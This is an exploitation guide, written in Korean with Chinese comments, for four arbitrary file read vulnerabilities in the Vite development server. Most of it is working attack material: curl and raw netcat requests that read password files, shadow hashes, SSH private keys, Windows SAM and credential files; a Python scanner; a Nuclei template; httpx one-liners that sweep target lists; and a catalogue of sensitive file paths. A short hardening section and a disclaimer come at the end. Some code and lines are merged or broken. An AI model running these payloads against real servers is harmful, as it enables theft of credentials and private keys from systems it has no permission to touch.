
네 가지 Vite 개발 서버 임의 파일 읽기 취약점(CVE-2025-30208/31125/31486/32395)에 대한 익스플로잇 가이드 및 자동 탐지 스크립트 (Linux 및 Windows 예제 포함)
이 문서는 Vite 개발 서버에서 발생하는 네 가지 임의 파일 읽기 취약점의 악용 방법을 요약하며, Linux 및 Windows 시스템 예제를 포함합니다. 참고: 승인된 보안 테스트 환경에서만 사용하세요.
Vite 개발 서버의 이 네 가지 취약점은 모두 공격자가 server.fs.deny 제한을 우회하여 서버의 임의 파일을 읽을 수 있도록 합니다. 각 취약점은 서로 다른 우회 기술을 사용하지만 기본 원리는 유사합니다.
네 가지 취약점 모두 다음 조건이 충족되어야 악용이 가능합니다:
--host 또는 server.host 설정 옵션 사용)영향 버전: < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10
수정 버전: 6.2.3, 6.1.2, 6.0.12, 5.4.15, 4.5.10
악용 원리: URL에 ?raw?? 또는 ?import&raw?? 쿼리 매개변수를 추가하여 @fs 경로 제한을 우회합니다. 이는 후행 구분자(예: ?)가 여러 위치에서 제거되지만 쿼리 문자열 정규 표현식에서는 고려되지 않았기 때문입니다.
Linux 시스템 악용 예제:```bash
curl "http://[目标IP]:5173/@fs/etc/passwd?raw??" curl "http://[目标IP]:5173/@fs/etc/passwd?import&raw??" curl "http://[目标IP]:5173/@fs/var/log/auth.log?raw??" curl "http://[目标IP]:5173/@fs/home/[用户名]/.ssh/id_rsa?raw??"
curl "http://[目标IP]:5173/@fs/etc/passwd" # 应返回403错误 curl "http://[目标IP]:5173/@fs/etc/passwd?raw??" # 如果返回文件内容,则存在漏洞
**Windows 시스템 활용 예시**:```bash
# 读取任意文件
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?raw??"
curl "http://[目标IP]:5173/@fs/C:/Windows/system32/drivers/etc/hosts?raw??"
curl "http://[目标IP]:5173/@fs/C:/Users/Administrator/Desktop/credentials.txt?raw??"
curl "http://[目标IP]:5173/@fs/C:/inetpub/wwwroot/web.config?raw??"
# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini" # 应返回403错误
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?raw??" # 如果返回文件内容,则存在漏洞
영향을 받는 버전: CVE-2025-30208과 동일
수정된 버전: CVE-2025-30208과 동일
이용 원리: 특정 가져오기 방법(예: ?inline&import 또는 ?raw?import)을 사용하여 server.fs.deny 구성을 우회합니다.
Linux 시스템 이용 예제:```bash
curl "http://[目标IP]:5173/@fs/etc/passwd?inline&import" curl "http://[目标IP]:5173/@fs/etc/passwd?raw?import" curl "http://[目标IP]:5173/@fs/etc/shadow?inline&import" curl "http://[目标IP]:5173/@fs/proc/self/environ?inline&import"
curl "http://[目标IP]:5173/@fs/etc/passwd" # 应返回403错误 curl "http://[目标IP]:5173/@fs/etc/passwd?inline&import" # 如果返回文件内容,则存在漏洞
**Windows 시스템 활용 예시**:```bash
# 读取任意文件
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Windows/system32/drivers/etc/hosts?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Program Files/MySQL/MySQL Server 8.0/my.ini?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt?inline&import"
# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini" # 应返回403错误
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?inline&import" # 如果返回文件内容,则存在漏洞
영향을 받는 버전: < 6.2.5, < 6.1.4, < 6.0.14, < 5.4.17, < 4.5.12
수정된 버전: 6.2.5, 6.1.4, 6.0.14, 5.4.17, 4.5.12
악용 원리:
?.svg?.wasm?init 추가 또는 sec-fetch-dest: script 헤더 사용을 통해 .svg 파일에 대한 제한 검사 우회../../)를 사용해 제한 우회Linux 시스템 악용 예시:```bash
curl "http://[目标IP]:5173/etc/passwd?.svg?.wasm?init" curl -H "sec-fetch-dest: script" "http://[目标IP]:5173/etc/passwd?.svg" curl "http://[目标IP]:5173/etc/nginx/nginx.conf?.svg?.wasm?init" curl "http://[目标IP]:5173/var/www/html/config.php?.svg?.wasm?init"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw" curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../etc/shadow?import&?raw" curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../var/log/auth.log?import&?raw"
curl "http://[目标IP]:5173/etc/passwd" # 应返回404错误 curl "http://[目标IP]:5173/etc/passwd?.svg?.wasm?init" # 如果返回文件内容,则存在漏洞
**Windows 시스템 활용 예시**:```bash
# SVG绕过方法
curl "http://[目标IP]:5173/C:/Windows/win.ini?.svg?.wasm?init"
curl -H "sec-fetch-dest: script" "http://[目标IP]:5173/C:/Windows/win.ini?.svg"
curl "http://[目标IP]:5173/C:/inetpub/wwwroot/web.config?.svg?.wasm?init"
curl "http://[目标IP]:5173/C:/Windows/Panther/Unattend.xml?.svg?.wasm?init"
# 相对路径绕过方法
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Windows/win.ini?import&?raw"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Windows/system32/drivers/etc/hosts?import&?raw"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Users/Administrator/Desktop/credentials.txt?import&?raw"
# 验证漏洞是否存在
curl "http://[目标IP]:5173/C:/Windows/win.ini" # 应返回404错误
curl "http://[目标IP]:5173/C:/Windows/win.ini?.svg?.wasm?init" # 如果返回文件内容,则存在漏洞
주의: SVG 우회는 파일이 build.assetsInlineLimit (기본값 4kB)보다 작고 Vite 6.0+를 사용하는 경우에만 유효합니다.
영향 버전: < 6.2.6, < 6.1.5, < 6.0.15, < 5.4.18, < 4.5.13
수정 버전: 6.2.6, 6.1.5, 6.0.15, 5.4.18, 4.5.13
익스플로잇 원리: HTTP 1.1 사양에서 request-target에 # 문자를 허용하지 않는 특성을 이용합니다. Node 및 Bun 런타임에서 이러한 요청은 내부적으로 거부되지 않으며, http.IncomingMessage.url에는 #이 포함되고 Vite는 server.fs.deny를 검사할 때 req.url에 #이 포함되지 않을 것이라고 가정합니다.
Linux 시스템 익스플로잇 예시:```bash
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/passwd" "http://[目标IP]:5173" curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/shadow" "http://[目标IP]:5173" curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../var/www/html/wp-config.php" "http://[目标IP]:5173"
echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/passwd HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173 echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/shadow HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173
curl "http://[目标IP]:5173/@fs/etc/passwd" # 应返回403错误 curl --request-target "/@fs/x/#/../../../../../etc/passwd" "http://[目标IP]:5173" # 如果返回文件内容,则存在漏洞
**Windows 시스템 이용 예시**:```bash
# 使用curl的--request-target选项
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Windows/win.ini" "http://[目标IP]:5173"
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Windows/system32/drivers/etc/hosts" "http://[目标IP]:5173"
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/inetpub/wwwroot/web.config" "http://[目标IP]:5173"
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Program Files/Microsoft SQL Server/MSSQL15.SQLEXPRESS/MSSQL/DATA/master.mdf" "http://[目标IP]:5173"
# 或使用原始HTTP请求
echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Windows/win.ini HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173
echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173
# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini" # 应返回403错误
curl --request-target "/@fs/x/#/../../../../../C:/Windows/win.ini" "http://[目标IP]:5173" # 如果返回文件内容,则存在漏洞
참고: 이 취약점은 Node 또는 Bun(Deno 제외) 환경에서 실행되는 Vite 서버에만 영향을 미칩니다.
다음 Python 스크립트는 대상이 이 네 가지 취약점 중 하나라도 존재하는지 자동으로 감지하고 더 많은 테스트 경로를 포함합니다:```python #!/usr/bin/env python3 #This script is made by "nkuty" import requests import argparse import sys import socket import random import string import urllib.parse from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def check_vite_vulnerabilities(target_url): if not target_url.startswith('http' ): target_url = f"http://{target_url}"
if target_url.endswith('/' ):
target_url = target_url[:-1]
# 解析URL获取主机和端口
parsed_url = urllib.parse.urlparse(target_url)
host = parsed_url.hostname
port = parsed_url.port
# 如果端口未指定,根据协议设置默认端口
if port is None:
port = 443 if parsed_url.scheme == 'https' else 80
print(f"[*] 测试目标: {target_url} (主机: {host}, 端口: {port} )")
# 扩展的Linux测试路径
linux_test_paths = [
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"/etc/nginx/nginx.conf",
"/var/www/html/config.php",
"/var/www/html/wp-config.php",
"/home/admin/.ssh/id_rsa",
"/home/ubuntu/.ssh/id_rsa",
"/root/.ssh/id_rsa",
"/proc/self/environ",
"/var/log/auth.log",
"/etc/crontab",
"/etc/mysql/my.cnf",
"/var/www/html/.env",
"/opt/tomcat/conf/server.xml"
]
# 扩展的Windows测试路径
windows_test_paths = [
"C:/Windows/win.ini",
"C:/Windows/system32/drivers/etc/hosts",
"C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt",
"C:/inetpub/wwwroot/web.config",
"C:/Program Files/MySQL/MySQL Server 8.0/my.ini",
"C:/Users/Administrator/.ssh/id_rsa",
"C:/Windows/Panther/Unattend.xml",
"C:/xampp/php/php.ini",
"C:/Program Files/Microsoft SQL Server/MSSQL15.SQLEXPRESS/MSSQL/DATA/master.mdf",
"C:/Users/Administrator/Desktop/credentials.txt",
"C:/ProgramData/MySQL/MySQL Server 8.0/Data/ibdata1",
"C:/Windows/System32/config/SAM",
"C:/Windows/repair/SAM",
"C:/Windows/debug/NetSetup.log",
"C:/Windows/iis6.log"
]
# 所有测试路径
all_test_paths = linux_test_paths + windows_test_paths
vulnerabilities = {
"CVE-2025-30208": [
"/@fs{path}?raw??",
"/@fs{path}?import&raw??"
],
"CVE-2025-31125": [
"/@fs{path}?inline&import",
"/@fs{path}?raw?import"
],
"CVE-2025-31486": [
"{path}?.svg?.wasm?init",
"/@fs/x/x/x/vite-project/?/../../../../../{path}?import&?raw"
],
"CVE-2025-32395": [
"/@fs/x/#/../../../../../{path}"
]
}
# 首先测试基本路径是否可访问
try:
r = requests.get(f"{target_url}/@vite/client", timeout=5, verify=False)
if r.status_code != 200:
print(f"[-] 目标可能不是Vite服务器,未找到/@vite/client路径")
# 尝试其他可能的Vite标识
r = requests.get(f"{target_url}", timeout=5, verify=False)
if "vite" not in r.text.lower() and "dev server" not in r.text.lower():
print(f"[-] 目标页面内容中未找到Vite相关标识")
print(f"[*] 继续测试漏洞,忽略Vite标识检查...")
else:
print(f"[+] 确认目标是Vite服务器")
except Exception as e:
print(f"[-] 连接错误: {e}")
print(f"[*] 继续测试漏洞,忽略连接错误...")
# 生成随机文件名用于测试不存在的文件(避免误报)
random_filename = ''.join(random.choice(string.ascii_lowercase) for i in range(10))
random_test = f"/tmp/{random_filename}.txt"
# 测试CVE-2025-32395(需要自定义HTTP请求)
def test_cve_2025_32395(path):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((host, port))
# 根据协议构建请求
protocol = "HTTP/1.1"
request = f"GET /@fs/x/#/../../../../../{path} {protocol}\r\nHost: {host}:{port}\r\nConnection: close\r\n\r\n"
# 如果是HTTPS,需要包装SSL
if parsed_url.scheme == 'https':
import ssl
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT )
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
s = context.wrap_socket(s, server_hostname=host)
s.send(request.encode())
response = b""
while True:
chunk = s.recv(4096)
if not chunk:
break
response += chunk
s.close()
response_text = response.decode('utf-8', errors='ignore')
# 检查是否成功读取文件
if "HTTP/1.1 200" in response_text:
content = response_text.split('\r\n\r\n')[1] if '\r\n\r\n' in response_text else ""
if is_valid_file_content(path, content):
print(f"[+] 发现漏洞 CVE-2025-32395! 路径: {path}")
print(f"[+] 响应内容预览: {content[:100]}...")
return True
except Exception as e:
print(f"[-] 测试 CVE-2025-32395 路径 {path} 时出错: {e}")
return False
# 检查文件内容是否有效
def is_valid_file_content(path, content):
if not content:
return False
# 根据文件类型检查内容特征
if "passwd" in path and ("root:" in content or "nobody:" in content):
return True
elif "shadow" in path and ("root:" in content or "$" in content):
return True
elif "win.ini" in path and ("for 16-bit app support" in content or "[fonts]" in content):
return True
elif "hosts" in path and ("localhost" in content or "127.0.0.1" in content):
return True
elif ".ssh/id_rsa" in path and ("BEGIN" in content and "PRIVATE KEY" in content):
return True
elif "web.config" in path and ("<configuration" in content or "<connectionStrings" in content):
return True
elif ".php" in path and ("<?php" in content or "$" in content):
return True
elif ".env" in path and ("=" in content):
return True
elif ".xml" in path and ("<" in content and ">" in content):
return True
elif ".ini" in path and ("[" in content and "]" in content):
return True
elif ".log" in path and (len(content) > 10):
return True
elif ".txt" in path and (len(content) > 5):
return True
elif ".mdf" in path and (not content.isprintable()): # 二进制文件
return True
# 通用检查:内容不为空且不是错误消息
return len(content) > 10 and "error" not in content.lower() and "not found" not in content.lower()
# 测试所有漏洞和路径
found_vulnerabilities = []
# 首先测试CVE-2025-32395,因为它需要特殊处理
for path in all_test_paths:
if test_cve_2025_32395(path):
found_vulnerabilities.append(("CVE-2025-32395", path))
break
# 测试其他漏洞
for cve, templates in vulnerabilities.items():
if cve == "CVE-2025-32395":
continue # 已经测试过了
for path in all_test_paths:
for template in templates:
try:
url = f"{target_url}{template.format(path=path)}"
r = requests.get(url, timeout=5, verify=False)
if r.status_code == 200 and is_valid_file_content(path, r.text):
print(f"[+] 发现漏洞 {cve}! 路径: {path}, 模板: {template}")
print(f"[+] 响应内容预览: {r.text[:100]}...")
found_vulnerabilities.append((cve, path))
break
except Exception as e:
print(f"[-] 测试 {cve} 路径 {path} 模板 {template} 时出错: {e}")
if any(cve == v[0] for v in found_vulnerabilities):
break # 如果已经找到这个CVE的漏洞,就不再测试其他路径
# 测试随机文件名以验证是否存在误报
false_positives = []
for cve, templates in vulnerabilities.items():
if cve == "CVE-2025-32395":
continue
for template in templates:
try:
url = f"{target_url}{template.format(path=random_test)}"
r = requests.get(url, timeout=5, verify=False)
if r.status_code == 200 and len(r.text) > 10:
false_positives.append(cve)
break
except:
pass
# 报告结果
if found_vulnerabilities:
print("\n[+] 漏洞检测结果:")
for cve, path in found_vulnerabilities:
if cve in false_positives:
print(f" [-] {cve}: 可能存在误报,请手动验证")
else:
print(f" [+] {cve}: 确认存在漏洞,可访问 {path}")
return True
else:
print("[-] 未发现漏洞或目标已修复")
return False
if name == "main": parser = argparse.ArgumentParser(description='Vite漏洞检测工具') parser.add_argument('target', help='目标URL,例如: python3 vite_vulnerability_scanner.py http://example.com:5173' ) args = parser.parse_args()
check_vite_vulnerabilities(args.target)
>## 스크립트 사용 방법
>
>1. **스크립트 저장**:
>
> - 스크립트 내용을 새 파일에 복사하고, 예를 들어 `vite_vulnerability_scanner.py`로 이름을 지정합니다.
> - UTF-8 인코딩으로 저장해야 합니다.
>
>2. **의존성 설치**:
>
> ```
> pip install requests argparse urllib3
> ```
>
>3. **실행 권한 부여**(Linux/Mac 시스템):
>
> ```
> chmod +x vite_vulnerability_scanner.py
> ```
>
>4. **스크립트 실행**:
>
> ```
> # 基本用法
> python3 vite_vulnerability_scanner.py http://目标IP:5173
>
> # 或者如果您已赋予执行权限
> ./vite_vulnerability_scanner.py http://目标IP:5173
> ```
>
>5. **도움말 보기**:
>
> ```
> python vite_vulnerability_scanner.py -h
> ```

## 일반적인 민감 파일 경로
### Linux 시스템```
/etc/passwd # 用户账户信息
/etc/shadow # 密码哈希(需要权限)
/etc/hosts # 主机映射
/etc/nginx/nginx.conf # Nginx配置
/etc/apache2/apache2.conf # Apache配置
/var/www/html/config.php # PHP配置文件
/var/www/html/wp-config.php # WordPress配置
/var/www/html/.env # 环境变量文件
/home/[用户名]/.ssh/id_rsa # SSH私钥
/home/[用户名]/.bash_history # Bash历史命令
/proc/self/environ # 进程环境变量
/var/log/auth.log # 认证日志
/etc/crontab # 定时任务
/etc/mysql/my.cnf # MySQL配置
/opt/tomcat/conf/server.xml # Tomcat配置
/etc/redis/redis.conf # Redis配置
/var/lib/jenkins/secrets/ # Jenkins密钥
/var/www/html/application/config/database.php # CodeIgniter数据库配置
/var/www/html/sites/default/settings.php # Drupal配置
C:/Windows/win.ini # Windows基本信息 C:/Windows/system32/drivers/etc/hosts # 主机映射 C:/Windows/Panther/Unattend.xml # 安装配置(可能包含凭据) C:/Windows/System32/config/SAM # 用户账户数据库(需要权限) C:/Windows/repair/SAM # SAM备份(可能存在) C:/Windows/debug/NetSetup.log # 网络设置日志 C:/inetpub/wwwroot/web.config # IIS网站配置 C:/inetpub/logs/LogFiles/ # IIS日志 C:/Program Files/MySQL/MySQL Server 8.0/my.ini # MySQL配置 C:/xampp/php/php.ini # XAMPP PHP配置 C:/Users/[用户名]/.ssh/id_rsa # SSH私钥 C:/Users/[用户名]/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt # PowerShell历史 C:/Users/[用户名]/AppData/Roaming/Microsoft/Credentials/ # 存储的凭据 C:/Users/[用户名]/AppData/Local/Microsoft/Windows/INetCache/ # IE/Edge缓存 C:/Program Files/Microsoft SQL Server/MSSQL15.SQLEXPRESS/MSSQL/DATA/master.mdf # SQL Server数据文件 C:/ProgramData/MySQL/MySQL Server 8.0/Data/ibdata1 # MySQL数据文件 C:/Users/Administrator/Desktop/credentials.txt # 可能的凭据文件 C:/Windows/System32/inetsrv/config/applicationHost.config # IIS应用程序配置 C:/Windows/iis6.log # IIS日志
## 취약점 탐지 도구
위의 Python 스크립트 외에도 다음 도구를 사용하여 이러한 취약점을 탐지할 수 있습니다:
1. **Nuclei 템플릿**:```yaml
id: vite-file-read-vulnerabilities
info:
name: Vite Development Server - Arbitrary File Read
author: security-researcher
severity: high
description: Detects multiple arbitrary file read vulnerabilities in Vite development server
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-30208
- https://nvd.nist.gov/vuln/detail/CVE-2025-31486
- https://nvd.nist.gov/vuln/detail/CVE-2025-32395
requests:
- method: GET
path:
# Linux路径
- "{{BaseURL}}/@fs/etc/passwd?raw??"
- "{{BaseURL}}/@fs/etc/passwd?import&raw??"
- "{{BaseURL}}/@fs/etc/passwd?inline&import"
- "{{BaseURL}}/@fs/etc/passwd?raw?import"
- "{{BaseURL}}/etc/passwd?.svg?.wasm?init"
- "{{BaseURL}}/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw"
# Windows路径
- "{{BaseURL}}/@fs/C:/Windows/win.ini?raw??"
- "{{BaseURL}}/@fs/C:/Windows/win.ini?import&raw??"
- "{{BaseURL}}/@fs/C:/Windows/win.ini?inline&import"
- "{{BaseURL}}/@fs/C:/Windows/win.ini?raw?import"
- "{{BaseURL}}/C:/Windows/win.ini?.svg?.wasm?init"
- "{{BaseURL}}/@fs/x/x/x/vite-project/?/../../../../../C:/Windows/win.ini?import&?raw"
matchers-condition: or
matchers:
# Linux文件内容匹配
- type: regex
regex:
- "root:.*:0:0:"
part: body
# Windows文件内容匹配
- type: word
words:
- "for 16-bit app support"
- "[fonts]"
condition: or
part: body
# 通用匹配
- type: word
words:
- "export default"
condition: and
part: body
cat targets.txt | httpx -path "/@fs/etc/passwd?raw??" -mc 200 -match-regex "root:" cat targets.txt | httpx -path "/@fs/etc/shadow?raw??" -mc 200 -match-regex "$" cat targets.txt | httpx -path "/etc/passwd?.svg?.wasm?init" -mc 200 -match-regex "root:"
cat targets.txt | httpx -path "/@fs/C:/Windows/win.ini?raw??" -mc 200 -match-regex "for 16-bit app support" cat targets.txt | httpx -path "/@fs/C:/Windows/system32/drivers/etc/hosts?raw??" -mc 200 -match-regex "localhost" cat targets.txt | httpx -path "/C:/Windows/win.ini?.svg?.wasm?init" -mc 200 -match-regex "for 16-bit app support"
## 방어 조치
1. **Vite 즉시 업데이트**:
- 6.2.6+, 6.1.5+, 6.0.15+, 5.4.18+ 또는 4.5.13+로 업그레이드
2. **네트워크 노출 제한**:
- 프로덕션 환경에서 Vite 개발 서버를 사용하지 마세요
- `--host` 또는 `server.host` 구성 옵션 사용을 피하세요
- 노출이 필요한 경우 방화벽을 사용하여 접근 IP를 제한하세요
3. **구성 강화**:
- `server.fs.strict: true` 사용
- `server.fs.allow` 및 `server.fs.deny` 목록을 명확하게 구성
- `server.fs.deny: ['**']`를 사용하여 파일 시스템 접근을 완전히 금지하는 것을 고려
4. **런타임 보안**:
- Node/Bun 대신 Deno에서 Vite를 실행하는 것을 고려하세요 (CVE-2025-32395의 발견에 따라)
- 최소 권한 원칙을 사용하여 Vite 서비스를 실행
**면책 조항**: 이 문서는 승인된 보안 테스트 및 교육 목적으로만 사용됩니다. 허가 없이 시스템을 테스트하는 것은 불법입니다.